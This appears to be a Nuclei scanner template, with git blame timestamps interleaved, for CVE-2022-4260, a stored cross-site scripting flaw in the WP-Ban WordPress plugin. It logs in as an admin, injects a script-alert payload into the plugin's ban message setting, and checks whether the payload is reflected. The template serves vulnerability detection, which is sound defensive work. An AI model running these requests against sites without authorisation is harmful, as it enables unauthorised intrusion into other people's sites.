2022-12-26 00:32:40 +00:00
id : CVE-2022-4260
info :
2022-12-27 16:46:37 +00:00
name : WP-Ban < 1.69.1 - Admin Stored XSS
2022-12-26 00:32:40 +00:00
author : Hardik-Solanki
severity : high
description : |
The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
2022-12-27 16:46:37 +00:00
remediation : Fixed in version 1.69.1
2022-12-26 00:32:40 +00:00
reference :
- https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
- https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk
classification :
cve-id : CVE-2022-4260
cwe-id : CWE-79
metadata :
verified : "true"
2022-12-27 16:47:12 +00:00
tags : cve,cve2022,wordpress,wp-plugin,wp,xss,wp-ban,authenticated
2022-12-26 00:32:40 +00:00
requests :
- raw :
- |
2022-12-27 16:46:37 +00:00
POST /wp-login.php HTTP/1.1
2022-12-26 00:32:40 +00:00
Host : {{Hostname}}
Origin : {{RootURL}}
2022-12-27 16:46:37 +00:00
Content-Type : application/x-www-form-urlencoded
2022-12-26 00:32:40 +00:00
Cookie : wordpress_test_cookie=WP%20Cookie%20check
2022-12-27 16:46:37 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET / HTTP/1.1
2022-12-26 00:32:40 +00:00
Host : {{Hostname}}
2022-12-27 16:46:37 +00:00
- |
POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1
Host : {{Hostname}}
_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes
- |
GET / HTTP/1.1
Host : {{Hostname}}
Referer : XSS
host-redirects : true
max-redirects : 2
cookie-reuse : true
req-condition : true
2022-12-26 00:32:40 +00:00
matchers :
2022-12-27 16:46:37 +00:00
- type : dsl
dsl :
- 'contains(body_4, "<script>alert(document.domain);</script>")'
- 'contains(content_type_4, "text/html")'
- 'status_code_4 == 200'
condition : and
extractors :
- type : regex
name : nonce
2022-12-26 00:32:40 +00:00
part : body
2022-12-27 16:46:37 +00:00
group : 1
regex :
- '_wpnonce=([0-9a-z]+)'
internal : true